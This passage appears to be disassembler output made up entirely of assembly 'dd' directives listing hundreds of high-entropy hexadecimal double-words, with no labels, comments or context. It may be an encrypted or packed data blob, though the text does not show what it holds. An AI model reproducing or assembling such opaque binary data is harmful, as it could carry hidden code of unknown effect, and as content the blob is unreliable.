		dd 0B401A712h, 5D13D612h, 40AF4C5Eh, 7CB060BDh,	0E49009B3h
		dd 0B6625ABDh, 4201117Ch, 0CD2D0043h, 56CC7FB2h, 36530768h
		dd 0C05E2B99h, 10F757F4h, 0D29C60BFh, 62FB942Ch, 211F961h
		dd 0A917E140h, 0A8484A11h, 0C91625B6h, 3820E33Fh, 3D5A17DBh
		dd 2C8E1C0Bh, 4FC1C020h, 829F0987h, 0E99FE951h,	9F4057D2h
		dd 5CF90CF2h, 0D3271111h, 20D65CCCh, 0C2017491h, 78CE9049h
		dd 0D459BDC3h, 0B4FECD44h, 2013E599h, 0EA0032DFh, 1B771EFh
		dd 60EA9D31h, 488A1380h, 0E9166183h, 77EDE0A9h,	0E4058707h
		dd 8B9AB6ABh, 1328795h,	6FDC19D5h, 17CC27E9h, 170EADCh
		dd 0E07E95C5h, 9D290E60h, 4BE91419h, 0A6072D7Ah, 6001476Ch
		dd 0DA68B6CBh, 4EA2644Fh, 0AAC63F01h, 2E78E9B7h, 68ABB412h
		dd 68B351CBh, 8723CA16h, 0D6104138h, 973E3A3Ch,	0EF985EB1h
		dd 60C1385Dh, 4625F96Ch, 7572B527h, 685F0880h, 0FA775B25h
		dd 0AC5E404Bh, 94F4535Fh
		dd 0B4D6B03Bh, 8559703h, 0FE0EA98Fh, 0F0BEE9C1h, 501DBC4Ch
		dd 0BD055556h, 4ACB319Eh, 60BD10AFh, 0B84EB5D0h, 47E9B1E4h
		dd 0E4293C35h, 7ED7C2B4h, 2842C8D9h, 7A717448h,	19205A7Ah
		dd 595B2B18h, 0B820975Dh, 0E9418FAh, 6181D7B3h,	31C72EEFh
		dd 8E3D2052h, 0EFB3017h, 6FF9DD17h, 34F8EA80h, 70B449A6h
		dd 75932B05h, 0E207D0AFh, 0D32F6A0Ah, 3083D614h, 47261D30h
		dd 0D729A418h, 9D3BCC7Ah, 5804F8F3h, 0FC450410h, 58AEB3D4h
		dd 0F3852CC2h, 0C6C15364h, 0CB7F275Bh, 0D30C27C4h, 5155431Bh
		dd 62D17E24h, 980CED40h, 0C1A89752h, 351C3008h,	475DD83Ch
		dd 6DB12C3Bh, 0AD16884h, 62C404FCh, 2C57B212h, 0DE086954h
		dd 0C9C781DBh, 2F27EA4Fh, 681772A6h, 7E7FCDBAh,	2AF43EF5h
		dd 0B6C38AA0h, 57488B2h, 30489291h, 1D3D4504h, 0A0C5AA11h
		dd 0FEF3C5AEh, 0F85FFCDAh, 0F96AC447h, 7CA48AEAh, 685E69FAh
		dd 2CF5DE8h, 0A4D07564h, 0C219F604h, 5CE20D51h,	62808734h
		dd 0BFD29CC6h, 79B710C6h, 79D66956h, 8478D463h,	0AC1EE604h
		dd 5C35C412h, 6BF3E8D8h, 98D581E1h, 17F22943h, 57F4685Eh
		dd 58C22202h, 3D57F7E0h, 230A995h, 5D3E9930h, 622D82D8h
		dd 0D23518B4h, 0B5D3169h, 3C20E7D6h, 0EB2812B5h, 0A62E272Dh
		dd 98D62A7Dh, 84BC0995h, 0F217D23Eh, 518C0375h,	17351A68h
		dd 0C9DC90A7h, 0A5282C3Bh, 0A7E00004h, 5FE1BB00h, 49BE3014h
		dd 14BAF296h, 9DE8F67h,	13967C64h, 156F5520h, 7773F768h
		dd 3200EE4Ch, 0E9176333h, 0C1C4B30Dh, 41AE59CFh, 7826ADAEh
		dd 0D75E207Dh, 70634Ch,	5864055Dh, 27E922AEh, 6BD4C576h
		dd 9756C1D2h, 7BF35FC2h, 0FEFF818Bh, 4661505Bh,	0A114B0B5h
		dd 2F0C892Bh, 0CED293A2h, 185933E0h, 78020472h,	0A73EADE9h
		dd 45948BDh, 43497F22h,	1187F0C5h, 7E0FC940h, 16F1EC16h
		dd 12506F95h, 0EA1C8326h, 515EED17h, 4B7376A2h,	0E747ACF9h
		dd 0C4D8E2E2h, 6B0F0CE6h, 3B845136h, 60647813h,	19388ACh
		dd 0B8E942E8h, 31393A65h, 0DECA87F9h, 705159B2h, 3E16108Ch
		dd 0A7C13488h, 1F714332h, 0F73EB03Ah, 0E107D17Bh, 793E27A4h
		dd 1584E960h, 77037ED2h, 559D24D9h, 3D01A6F8h, 3F524305h
		dd 4E6AC207h, 70267BFAh, 109FC9Fh, 0AD2259E8h, 0DAB377D0h
		dd 0E9081827h, 0C7C992C1h, 653B5278h, 2F5FF06Fh, 70BA9240h
		dd 2D732C30h, 5411021Ch, 19C06C76h, 0A32C5F45h,	0DB128334h
		dd 2D4E59F2h, 5BB23E39h, 45537D00h, 0C8AEE915h,	2E6D489Fh
		dd 4E4D7ADCh, 4D485E4h,	9AA33B2h, 0A20FFD31h, 0EF150CE4h
		dd 5BCE518Dh, 27E909D7h, 54A74351h, 6CE95836h, 0B2DA00B7h
		dd 1CDAF6E8h, 0CC0DC280h, 2206A9F2h, 0E9D812C1h, 736D2B5Fh
		dd 9A55ED04h, 0E931276Eh, 13E5E49h, 0E0500B38h,	694A6036h
		dd 7FDF3313h, 22095509h, 4E7D92F1h, 5C17FEC7h, 0BDE6C19h
		dd 0AE6C89Ah, 0C181CA2Ch, 14D359E1h, 15D13B11h,	97185584h
		dd 26F58111h, 1478E344h, 10509421h, 6C511799h, 0C6DCA008h
		dd 41B52E4Eh, 0C7800F2Fh, 0A678F869h, 894204B6h, 0BBB3FDF3h
		dd 5C6CE050h, 14E96F28h, 2BEE017Bh, 40BD739Ah, 1A3E7DD0h
		dd 0A356396Bh, 2742B655h, 8C73259Dh, 0D1FD248Ch, 760C12EAh
		dd 0B4350597h, 4E1EB37Fh, 318607BCh, 0DE5006F3h, 0B32C6806h
		dd 70108F32h, 0A0F18817h, 0FA9764F7h, 31CB5A28h, 45D1B2D6h
		dd 0E3DFF0FEh, 1219459Dh, 0E994F4EAh, 0C4D12225h, 0FADE5D0Ch
		dd 0C6814E00h, 41DA0EFAh, 1F0BCEECh, 8146DB49h,	84640DD9h
		dd 7454A2A5h, 59F06117h, 7E811805h, 919F5889h, 5D9372A4h
		dd 29A94592h, 83CED250h, 2F10D43Fh, 0C4558C46h,	0B4A9C01h
		dd 78228DFCh, 0D37FAC68h, 3FE1210Ch, 1A1518F6h,	39FB0D01h
		dd 0ACE2DEB4h, 0AE91829h, 8E68C5Ah, 0EAB65F84h,	4B141B66h
		dd 0D0BEBD96h, 0C1632082h, 1F2D2CE8h, 2B8F6116h, 2CF8EA12h
		dd 231AAA5h, 0E57F42E9h, 8C9A3AD4h, 8E91004Ah, 0E9471850h
		dd 4A88C20h, 8D7863B8h,	67D4C04Dh, 4525CD5Ah, 1375505Eh
		dd 146D6F7h, 8A7C66DAh,	436C2065h, 15E24E13h, 37919EDh
		dd 0F6F9D1CCh, 0CB8EDAE9h, 2438C705h, 884F6752h, 0A07DEA53h
		dd 21685B82h, 0A09FC626h, 0B7EAF0Dh, 39E937BAh,	5AD50790h
		dd 175A31F0h, 0BB001DB3h, 6D09459Eh, 7102E381h,	0E9418F19h
		dd 52F07714h, 5001978Ch, 3F4826B8h, 4AF2E94Eh, 8042E7F2h
		dd 0B9685250h, 2C2D4551h, 899FE85Ah, 5F3172Ah, 40E31650h
		dd 8F2D5E7Eh, 0D29D1C69h, 0FF09BF70h, 36D45B29h, 24FE2308h
		dd 2A5E021Ch, 986019ECh, 8D255B46h, 9A114306h, 549182F9h
		dd 0A2660505h, 80913E90h, 0E3C011B3h, 90CBFE03h, 0E13070CEh
		dd 51F1CB2Ch, 1CE61084h, 1F0F1F34h, 0FC961555h,	0CB38582Eh
		dd 0EF30FE04h, 0D14AF0CAh, 57F86F1h, 0F0EC53FEh, 4C12D0FFh
		dd 0F70269D1h, 40F036DEh, 9EAD92B7h, 0CB46691Fh, 0A1AC9694h
		dd 0F7069742h, 6DE97698h, 5425FB94h, 0FD2C564Eh, 5E974E2Ah
		dd 98DC1CFFh, 56813DCh,	22707E1Fh, 2400A76Eh, 9077241h
		dd 95948CBh, 0FAC49504h, 58DDC126h, 92616D89h, 1298DFE0h
		dd 0EF63533Ch, 74F93234h, 6E99CD05h, 8339BAC5h,	28B503ECh
		dd 17DAC17Fh, 0BDE5CDE9h, 715C154Bh, 74C31CBBh,	0BB9C7727h
		dd 4C18E912h, 2EF3452h,	3846899h, 5D893C59h, 7399DFDAh
		dd 92A23B66h, 0AECDAB12h, 0C93DE439h, 72AD84h, 57F26851h
		dd 597713E8h, 58B00641h, 4897A3F4h, 0C1F2483Dh,	20EDBA54h
		dd 9A3697FBh, 68216ACDh, 0BD34803Fh, 6E054D41h,	0D5F74511h
		dd 0A2D341ABh, 7F2043B7h, 0B9E9B402h, 0A8967C1Dh, 68F83886h
		dd 1D2A3B29h, 0F0BF2057h, 8E1CB635h, 0CF0BAFEFh, 0CB4E406h
		dd 0B3A0E776h, 5782240Bh, 6825B6F2h, 8FE11A44h,	0CD12819h
		dd 5C425152h, 39C4800Eh, 0B31672FEh, 9C39AA4h, 35E1ADB5h
		dd 138F44DDh, 0F804A6E9h, 4662C6E2h, 1C5EB0CBh,	8944E6C2h
		dd 36C5595Ah, 9AD3112h,	3C14AF93h, 0F57286BAh, 5E54BA7Ch
		dd 500C0907h, 5830A850h, 88BBB252h, 5A20EEE6h, 0EB9F64F0h
		dd 0AF681BC3h, 855B71FBh, 0E0C6FE46h, 926A1F70h, 0A709DE57h
		dd 0EB9B7DEFh, 106FAA42h, 0AC3C6EEBh, 87F6A62Fh, 7B5559h
		dd 0E9152C52h, 1FC7763Eh, 0EA3752CDh, 0E721643Fh, 0F17941AEh
		dd 0C7601C80h, 5E26F3B7h, 0CA010EB0h, 55E56816h, 5E641170h
		dd 802D5AD9h, 0D79AE9C2h, 82E4897h, 3B112D7Bh, 0D17F5B50h
		dd 983832C1h, 22EEDB53h, 97666E33h, 0E2885995h,	0BF7034E9h
		dd 722B907h, 0D3A209C3h, 623BFE6Fh, 0C77D2C3Fh,	0B0500590h
		dd 4BE2124Ah, 0FBFC51C3h, 15084C03h, 9E76E971h,	5357406Fh
		dd 80D3B551h, 80DEE539h, 0EDC0AEF5h, 0E4DDF603h, 0AB14C1D5h
		dd 4B59EF88h, 0E0E91DBBh, 7FFF4A25h, 17F80EC8h,	8E1CF428h
		dd 0E0239400h, 5EF5096Bh, 45DD04F7h, 0AA10B3E9h, 400A8828h
		dd 0D80501F2h, 0A76F9B2Dh, 0BD85CA83h, 41F8DCE4h, 7E02A48h
		dd 3E8FDC68h, 0AA3FD8B4h, 8D2B652Dh, 0EA9E42C4h, 2A980BF0h
		dd 254D0678h, 0F2350377h, 0A8197949h, 5F508B57h, 9E3F0DEh
		dd 1AA89993h, 2741F0F3h, 23BCEBECh, 2A1219ACh, 12C4C3A8h
		dd 0C3D2FA05h, 3FC706Ch, 88BA5257h, 0C1A9997Ch,	9F853FE2h
		dd 0EC4FB8F0h, 8654F132h, 4302A7B8h, 5E3F1104h,	0A1CF46DDh
		dd 0A54D0A9Ch, 0CF6575E0h, 38E6D5F5h, 0F2058DDDh, 6A43E42h
		dd 473EC2FCh, 5AA07AC1h
		dd 69BC0BE1h, 0E1DE567Ch, 0B0800635h, 4AA804F1h, 0E9A3D101h
		dd 6A2765D9h, 221A6D0Eh, 7E294610h, 59CF0932h, 0A0321CFFh
		dd 25E44E06h, 1CF0D3A1h, 1B46EC34h, 591473ADh, 0C1C0E106h
		dd 0C8310EE8h, 89BFB790h, 931ED73Eh, 9426817h, 851322B3h
		dd 34E267DAh, 0BE8FD56Bh, 79EBC500h, 58CA1535h,	0D839F957h
		dd 8C75C725h, 0B96D8CA6h, 2B0E029Eh, 64CC5713h,	2727BB7h
		dd 6A5112ACh, 343D027Fh, 5CA25F1Ch, 7F093B15h, 3B4E15CBh
		dd 53F270E8h, 3ABA5460h, 2D4DDC8Ah, 0D5C2EB54h,	885671CDh
		dd 80038720h, 9A28E3C3h, 484BC851h, 98E14F88h, 0D93DF6D9h
		dd 1CE8DCC0h, 3B8580C9h, 0B4D465E9h, 105AE2Ch, 48445970h
		dd 9057F029h, 81019980h, 0FE04B0C1h, 50BDEC73h,	0B85C697h
		dd 120E7E87h, 96060055h, 0A891596Bh, 0F953E9B3h, 4F2C907Ah
		dd 28488232h, 595B0474h, 188756A1h, 504D0982h, 2C2570F4h
		dd 18D91D24h, 6DBB3ACFh, 7F4C0417h, 22190D09h, 0F2E1704h
		dd 0BD5BD144h, 267A3C68h, 9C108B36h, 0FADB844Bh, 8B04868Bh
		dd 666EB71h, 960F9005h,	0EEA53FB2h, 590C88C6h, 716F9368h
		dd 0D0035B95h, 403FE387h, 0D2F76C12h, 7AC4BE01h, 0CC604B6Eh
		dd 2E45052Ch, 0A25BE927h, 3E500400h, 0F1AF68DDh, 0D30807A5h
		dd 5848012Dh, 2A020039h, 5F05367Dh, 58703A37h, 0CD032184h
		dd 0A481C238h, 7CEB1356h, 98DD99F2h, 2CCBEC2Eh,	100F294Ch
		dd 0EC508FB3h, 4BD75E3Bh, 39053C57h, 0CD8FAA90h, 57FA04Bh
		dd 0C216E0BFh, 0E510B053h, 0C156B13Ah, 404F23C9h, 6170D792h
		dd 0D80D7C9Dh, 4C6884E9h, 3500BE8Fh, 0B756571h,	4B6F0F25h
		dd 0FB4347A3h, 2DC83327h, 72257EDCh, 8172E531h,	0F11FF0FBh
		dd 0D71E3029h, 0E5BDDBC0h, 0A368854Dh, 0F883E187h, 9943927Fh
		dd 960DF37Fh, 0C647F929h, 272EC331h, 0B355EE6Bh, 10BED9F8h
		dd 5B55287Bh, 203C5548h, 25A9B453h, 35457BDAh, 0B2E6373Eh
		dd 24A086C9h, 13624195h, 0D5361AC6h, 0FF5A4C78h, 0FB7E7C89h
		dd 4EF34527h, 5D720490h, 0C0A828FDh, 93F4E5D7h,	53A05608h
		dd 0B8D54BF7h, 0CEAEA542h, 301F45FFh, 1BD5326h,	34AB65B1h
		dd 0CFC704DBh, 0AA73B879h, 30071610h, 20532C59h, 0E94C0D9Bh
		dd 2C54B280h, 0C32578FEh, 0B56DE899h, 0C84082E2h, 822F31E4h
		dd 8AD8F6D7h, 0A7AF2358h, 683D82C8h, 2E797D30h,	603C133Ah
		dd 39980C22h, 8928D5A4h, 0BD75CDDFh, 6BDE621Ah,	0DBD40F2h
		dd 2D6680BCh, 0EB0C9C2Fh, 1B69E800h, 99D1BF01h,	3C107569h
		dd 0AFBA62E9h, 27C1739Fh, 0E9620554h, 137B587Bh, 225A1A88h
		dd 8BDDFAE3h, 0C036D92Bh, 6408E950h, 71A05DD4h,	0FB22B05h
		dd 1620315Bh, 9A8922E9h, 7C082587h, 28982DC6h, 0C5408E98h
		dd 5F3EEC5Ch, 4C1ED1D0h, 0C2353404h, 1F16CE58h,	870942F8h
		dd 9D14F2F6h, 0BC31A696h, 71877110h, 0D9FD312Ah, 0F6200D30h
		dd 134A762Ah, 9D7C0133h, 0B4E601D2h, 0C6FE0147h, 0E65F4630h
		dd 5B1470EEh, 9D2007F3h, 26E099E9h, 722C61BFh, 0FA0A40C2h
		dd 43126570h, 0D94FF7A8h, 49A37F26h, 0EC65A10h,	0FDEEF80h
		dd 0A0F34BD7h, 4F2D599Eh, 69312644h, 26A91585h,	789E3078h
		dd 158C3D5h, 80C57295h,	0F3154FD1h, 7475372Fh, 0FCB5FFC7h
		dd 0BA47166Bh, 38B8298Ch, 2DA5530Bh, 47C44176h,	5D513892h
		dd 7E5CB039h, 0E909EAA2h, 0C171CC9Ch, 0D740133Ch, 0EE2083CDh
		dd 3012C3F7h, 0EB9858C5h, 0DE122859h, 31BB885Bh, 6D954E5Ch
		dd 15907B61h, 0C9D85232h, 0E9B376DDh, 87AB39FDh, 0EACD123Eh
		dd 2EB24D37h, 8311D648h, 2C61C22h, 7FFC0C01h, 5E9608Bh
		dd 55598C2Ah, 0F31547Ah, 0E8C78B3Ah, 0A842CCE0h, 955AD1BAh
		dd 5045E642h, 3F18FFA5h, 59B5D801h, 0EBAABCE6h,	3F5F4884h
		dd 7F96679Dh, 70BEBD2h,	33E45DAAh, 325A12F0h, 70B69231h
		dd 53A2FC41h, 63077C26h, 0D24A0E0Dh, 5375C6F6h,	0EB5CE427h
		dd 5A8520A2h, 4F298B0Dh, 537831AEh, 6607E4BBh, 0E2810A30h
		dd 194D1F7Ch, 4F92F5E9h, 764364D9h, 67ACF84Bh, 4D379A1h
		dd 0CBFF4BD4h, 939E121Eh, 0E1E8F2D2h, 5089D027h, 6BE6E609h
		dd 0D69FABB2h, 225CD981h, 3D17587Bh, 82253AF1h,	0E96FE203h
		dd 571C8D5h, 0B9110248h, 2DE8015Dh, 5E09078Fh, 91357086h
		dd 3F161DE8h, 47AE5F13h, 5EC46EE1h, 8ACBFDD6h, 78A7C3D7h
		dd 452B0305h, 0F7FE873Bh, 0E93008EEh, 17BBCD37h, 6672C19h
		dd 0FE34727h, 0E979821Eh, 0BD51AF10h, 448BE08Bh, 2768138Ah
		dd 80E2341Fh, 0CD1BEA78h, 0F7817C09h, 75090702h, 7FDA72FDh
		dd 0E755F08Bh, 8D6989EFh, 1684818h, 0EB613D5Eh,	2F325450h
		dd 0EAB29912h, 5CD7A728h, 0C889F240h, 5D003276h, 9920EE05h
		dd 5173B821h, 0C07E072Dh, 0E46C74F9h, 58A4264Fh, 5041FE89h
		dd 407E7B4Ch, 42132949h, 2DBE5830h, 15A82F37h, 0FFB8A639h
		dd 56CA61DBh, 44BD2B54h, 330623B4h, 0DEBE7910h,	55E5A66Eh
		dd 2748B3CEh, 2D68D410h, 0DDBF54C5h, 20FC4AB5h,	75BABD5Eh
		dd 72637813h, 57BB09BBh, 62CFA685h, 0AFFED8F0h,	0BA445319h
		dd 90ED3A64h, 846D4E40h, 4C94AF2Ah, 0D26C0B11h,	98AFE12Dh
		dd 849719D3h, 0B7FE3DC4h, 0F7298935h, 1FD2EA16h, 23B9D08h
		dd 3D336866h, 67BC1EF4h, 3FDD0285h, 4C8A365Ch, 0BFD33EB8h
		dd 28C1F69Ch, 2F840AE9h, 59CEFAB0h, 0B890E9BDh,	0DBB91D80h
		dd 3112B777h, 2765CA48h, 89B0F9F3h, 7E144A93h, 0D4423582h
		dd 3B5A81E1h, 1A66ED72h, 96547DFh, 0EC4841E9h, 7EF815B9h
		dd 884E477Bh, 8ABA3812h, 5B8B5B7Dh, 1CA60710h, 0D096C231h
		dd 0C745ABBh, 0BD680A01h, 73D9366Fh, 258C115Fh,	4C9D9066h
		dd 0E13EAB6Bh, 2133BF89h, 9CA62602h, 6C2057E4h,	0CE810306h
		dd 67EC3935h, 872C323Eh, 15E97F0Ch, 4816F5CBh, 4E835556h
		dd 6DC35E16h, 0D7643256h, 0E27DE3CFh, 0A84CDD1Bh, 4512C705h
		dd 53C010FCh, 0D6280DE9h, 27DBECF5h, 253B4C07h,	41D47DDAh
		dd 8BBB55C4h, 2A329560h, 50F2AA45h, 596674B5h, 9D06CF8h
		dd 7FFA874Fh, 0ABBD6516h, 7785DF94h, 0ACA342E4h, 0BDFB252h
		dd 0CF8D48C3h, 9C6F178Fh, 0EB380B4Eh, 825DF48Bh, 772D5F94h
		dd 10EBF3D1h, 4B786823h, 3A24F340h, 71E413FFh, 32FAFF1h
		dd 72ADE70Ah, 36E938E8h, 8F6400F1h, 5A589002h, 8A6AFDC1h
		dd 0B98081DBh, 18E038EDh, 0CA4B21h, 1C54D184h, 0D96DF771h
		dd 25C8CE04h, 121E75D0h, 0EA010E03h, 0FB5120D8h, 0DFF6A971h
		dd 1860A9B8h, 23B419BDh, 0AF020BD6h, 31029726h,	1637CF0h
		dd 716E9F35h, 0BA3FF29h, 2C5A500Fh, 0AA8D0BBBh,	845AF8BEh
		dd 41826E52h, 1FB0F80Bh, 0D23B67CDh, 0CA0A017Bh, 8B56267Ah
		dd 0E806E91Ch, 480D19CDh, 0F50EEFE7h, 6FAD04AEh, 7FD7BA7Ah
		dd 5669099Fh, 0BA52D0E0h, 56BF938h, 5AD62120h, 0E65740FEh
		dd 3D891D8Ah, 3D0FCA3h,	0E17968BBh, 6B2771BFh, 114DD02h
		dd 3688A35Eh, 2DD62046h, 8D72EF57h, 5DF6EE1Fh, 480C0398h
		dd 63E30508h, 57F592E9h, 7D2DABABh, 0FC6BC1D9h,	1CC4A4C2h
		dd 7FBFD9FEh, 0C2095281h, 9DA5A230h, 5E1CE271h,	0E0ACEB1Dh
		dd 1E3D9309h, 682DA1B2h, 3EB85F00h, 1BF33B1Eh, 73E7A1C9h
		dd 0F7668D33h, 0A73E68DEh, 0F9F832B5h, 1EA4B11Ch, 183B4AC8h
		dd 0A7276AF9h, 50580D5Ch, 0D516077h, 60C9641Ch,	82137A9Dh
		dd 47188108h, 0D5405235h, 124209C5h, 0BD01FAFFh, 685881BEh
		dd 6B7C1DD2h, 0E4A4E9C3h
		dd 2D58E302h, 64AF1A88h, 1DDFF24h, 80D400C6h, 179CADC4h
		dd 0E3172B1Ch, 2D1701AAh, 338177E9h, 2A539FA5h,	2F68D0F0h
		dd 1E1838A3h, 8880EEFCh, 0F2FAE4C7h, 29B35F2Dh,	21B28C0h
		dd 0E968E7B6h, 8B30775Bh, 5497D362h, 0C6057080h, 16E14C1h
		dd 7472DD0h, 0FC723BC3h, 192183EAh, 4D82F09h, 0C11021B1h
		dd 0BF04E828h, 13D9E0D1h, 4C771E79h, 0A0571C63h, 0E07B0455h
		dd 1C40C756h, 80CA3CB1h, 0AE200916h, 7D66DA66h,	0FE6F30FBh
		dd 2C35C2F5h, 294D020Bh, 6700D5EAh, 7F487D27h, 0C8AFC97h
		dd 0FADBFDC7h, 28747217h, 0E95D33BEh, 0D7EADA82h, 18BDAEDCh
		dd 0C034E578h, 50273EFh, 5D6808E7h, 83B03472h, 890225ABh
		dd 961E37C3h, 0FE8F576Bh, 32A467C9h, 0B215FC5Eh, 0E9CD6C1h
		dd 0E8E4DA21h, 886D92EDh, 725E78C1h, 1DA85A81h,	695F617Ah
		dd 0C5FBBCC1h, 59CFF83Ah, 0D2BE20BFh, 0A077797Ah, 5056F308h
		dd 9F7CB83Eh, 0C82C3C6h, 0F40E89D7h, 8C6EBB1h, 595D5225h
		dd 1B56C996h, 1218EE58h, 765B867h, 0B23A090h, 0CC52113Ah
		dd 2D5A0DA8h, 6CD15182h, 0A55AE90Ch, 4AB3117h, 0AA96784Dh
		dd 2753AE88h, 8C401F17h, 0EE9FEB01h, 0BDCB071Dh, 615E1138h
		dd 40BF99F3h, 0E9DE01A1h, 0B59B2130h, 2C5A2DF5h, 37A14ECh
		dd 5401387Dh, 4753F1E0h, 0F431CA2Fh, 5DE98109h,	4218908Bh
		dd 0C7DDF6D6h, 8D5A17BDh, 6FB06A77h, 84E93C0Ah,	2D52669h
		dd 1F319F6h, 6BC76859h,	0CC98A834h, 81594FE9h, 0F954F6E4h
		dd 0C10F7F01h, 0D293BD02h, 0A2302C89h, 5F10C9E7h, 12DF0784h
		dd 607EA1ACh, 0DDBB1D35h, 5F3AE41Ah, 1DA9DE31h,	0C25DE5A2h
		dd 0B9F21603h, 0BC96276Ch, 0E6EE1F27h, 0BCF035AEh, 2F23B948h
		dd 0FC99FAFEh, 0B58A5B04h, 0FCF0E2FAh, 0FA9CB127h, 0B3D85F79h
		dd 0E5D284DDh, 0BEED8304h, 4B4C13CBh, 0BE05FA20h, 0BFE0A2Fh
		dd 3CD8C83h, 2A6CB97Ah,	47D179A6h, 0DFCC7EE7h, 0B8E197F1h
		dd 4EE87CABh, 71776501h, 9848212Ch, 57D32D68h, 0ABE5E7F4h
		dd 0EC6B32F1h, 8070CA3Ch, 2DEAF0A7h, 696822C9h,	7BEE3A6Bh
		dd 0E15FECF6h, 445B0CF3h, 3FB7A5h, 0EE80D8B6h, 0F4F09701h
		dd 6E6DE77h, 8960899Fh,	9CC6A28Ah, 90B807EBh, 0D1F6369h
		dd 0D51CED09h, 5DAD8B18h, 0D3E9A681h, 44B76AF0h, 4160B04Fh
		dd 71666E05h, 64E808E9h, 9039AB5Ah, 0B9D93BD3h,	90C370Fh
		dd 8B656644h, 68CC6389h, 9ECA467h, 2613B2C0h, 0EE24E93Fh
		dd 0F0978B91h, 2562ED08h, 0CCEFC840h, 8889B09Dh, 7A568190h
		dd 0A12F5CCDh, 7D2D79E1h, 18750D25h, 3503B1D1h,	0B1FC45DFh
		dd 48F73FE0h, 8AE95581h, 16807D86h, 9AAAEC9Eh, 882D5A4Eh
		dd 4BFD68E8h, 6C63233h,	0E7815C50h, 843170D5h, 0F8C3349Ch
		dd 2F537F13h, 62FCC35Fh, 0EB85060h, 0BB32569h, 0A4A86DF6h
		dd 0D13FF225h, 6DA5BE89h, 551F1298h, 31417813h,	0BBCFE52h
		dd 44DC7BB3h, 8DA94849h, 0ECA2ABA4h, 3771BA97h,	802FC8B6h
		dd 715768E7h, 9F98089Bh, 129DF549h, 0BB8305C6h,	0C3A1EC12h
		dd 4EACE83Fh, 68E3AAFCh, 6BD9778Ah, 0D139948Bh,	53AC8845h
		dd 3556036Fh, 0E2FB8C16h, 220193C1h, 1B0A4BB6h,	496EB06Bh
		dd 0C082030h, 7C756394h, 0D6F2176Dh, 3811F03h, 0FD7DA0CAh
		dd 0F185E9E8h, 2BAE9ABFh, 7381FDD2h, 5575EA68h,	9B04817Ch
		dd 77712DD7h, 0BB825525h, 5D51D161h, 8EA4457Eh,	9120BEFFh
		dd 589F42C1h, 5D1D9178h, 1D556E1h, 0DC13B5B7h, 0F2686117h
		dd 0B8F648BAh, 56876805h, 0EBB84840h, 186E9A50h, 7FBF14E9h
		dd 2160BBDh, 0CC1773F0h, 2E4D3AF8h, 0A9F0F84Bh,	2C166862h
		dd 0C98BF31Ch, 5B83E14Ah, 5DFABA81h, 0BF890D74h, 327D93A2h
		dd 0DD70B1D7h, 90106730h, 6D8209B3h, 2B55F84Fh,	363EF7ADh
		dd 0A2D169B5h, 5B2DF57Ch, 0B9C0BC74h, 12D52E83h, 0B8C4E910h
		dd 88F4F06h, 0C216E95Bh, 5A059FE9h, 0BE1620C8h,	9ED5497h
		dd 21FC7A07h, 7878972h,	0AE0218FBh, 8E625779h, 3FDC0961h
		dd 0E2B748E8h, 4EB09BA1h, 645A1A68h, 0AD2F4E9Ah, 6DBE79C0h
		dd 45953309h, 12380789h, 0F02813C8h, 700EB4F9h,	60ECF480h
		dd 0BEE9A1C3h, 8B209D84h, 283B2BFEh, 0CEAE96h, 0E9297661h
		dd 247B5EF5h, 92B9E203h, 5EA919F0h, 4F25E3FEh, 0E4E46AA8h
		dd 0B86BDBC5h, 0D6A07FBAh, 0A8BD5935h, 5813C0BAh, 0D9BEC821h
		dd 0B5F53B82h, 0CC2AF4E5h, 0B9651E6Ah, 26A95C4Ch, 0FBF6512Fh
		dd 72271252h, 5A4CB8FEh, 0BE64AA56h, 843EB2AFh,	5BACCFE9h
		dd 0F9595413h, 0D62A70Dh, 3EAF685Eh, 1DF3B740h,	358368E1h
		dd 11106876h, 21FE5A60h, 4841519Fh, 8F97E312h, 5CD2EBF6h
		dd 6DC90232h, 0E6260A5h, 805815E0h, 963ECC39h, 430E2AECh
		dd 77E60FF6h, 9BD12C16h, 4DAFA6E9h, 68FDB701h, 15356F63h
		dd 18928BF9h, 4A2C1CD8h, 0FAC82850h, 0D0A8EB4Eh, 0AC25538Fh
		dd 0A881447Ch, 0FC8C9D0Eh, 0A896C04Dh, 96AFDB65h, 30EDC06h
		dd 0F809CB68h, 2723C47Ch, 0DBF62D66h, 0D82C0A68h, 0F1BF1720h
		dd 0E4F30C6Eh, 8590E75Fh, 0E25BE40h, 2D8C196Eh,	52DADD20h
		dd 0DE9709E1h, 131517C4h, 9E064096h, 29222F60h,	20DCA48h
		dd 2A6C4565h, 3EEDE46h,	0F7C31B39h, 6AE42C4Fh, 0FB4C25E9h
		dd 0AE8478E6h, 0D3CE0A27h, 0D27008A1h, 40D1D425h, 2CE22DD8h
		dd 0F401EBECh, 0E919FC1Dh, 203E6233h, 1FE8EFC0h, 0F94D9D2Fh
		dd 0A85092BBh, 7DCB1166h, 0F77C117h, 6E65661Dh,	65D9ABBCh
		dd 0F905FDCDh, 2FEF168Fh, 0A194B3F3h, 0D02A3970h, 0E9152922h
		dd 16EC03DEh, 2CBB747Fh, 0B2950155h, 3B1677D4h,	6626810h
		dd 4025E90Bh, 1F808AB8h, 55E919B4h, 0DD913E1Ch,	0C5810EC8h
		dd 59CE7ACDh, 18D094B4h, 5DFF1C08h, 0D824792Fh,	8ED5114h
		dd 129384FEh, 0A4D253E6h, 0CF276824h, 99D4982Ch, 0F20580F7h
		dd 389D2717h, 0FE84FEA9h, 756C4976h, 615D9B99h,	1156FE89h
		dd 7C585182h, 0C805405h, 7FC0E829h, 62140316h, 7C0CDE01h
		dd 0BC805B8Eh, 0F42620DEh, 5D00E931h, 0C146E005h, 51C8296Fh
		dd 0B443072Dh, 0EA7F01FFh, 1A356BF0h, 8BBFB42h,	20D63A2Fh
		dd 611EC4D1h, 0C2BC905Eh, 0C626E9FBh, 88423E7Ch, 7089C1F9h
		dd 0C2042362h, 807D0D11h, 7850ACCBh, 9AB0684Eh,	3BE91646h
		dd 3D383071h, 74F6218Bh, 68043F94h, 1DA37BC9h, 0FE209A13h
		dd 7C76B630h, 0A0114EDBh, 130B6DB2h, 0E2298CADh, 3DDF7B38h
		dd 0C9F7CBA6h, 0BD557960h, 98923486h, 9F4DF90Ah, 735DF609h
		dd 30A7BD91h, 0DFF7EEE0h, 4D6D7E4h, 0EF02D1B8h,	3CFDAACCh
		dd 1E74B77h, 271CDA68h,	8ADEBA22h, 0F3EA310Bh, 0DDEE4F13h
		dd 65357E19h, 0FA570409h, 281C1DA6h, 657579EBh,	8760859h
		dd 5B162DA6h, 95EAB5E0h, 5FA0EBDAh, 0B783643Ah,	19E0C7D7h
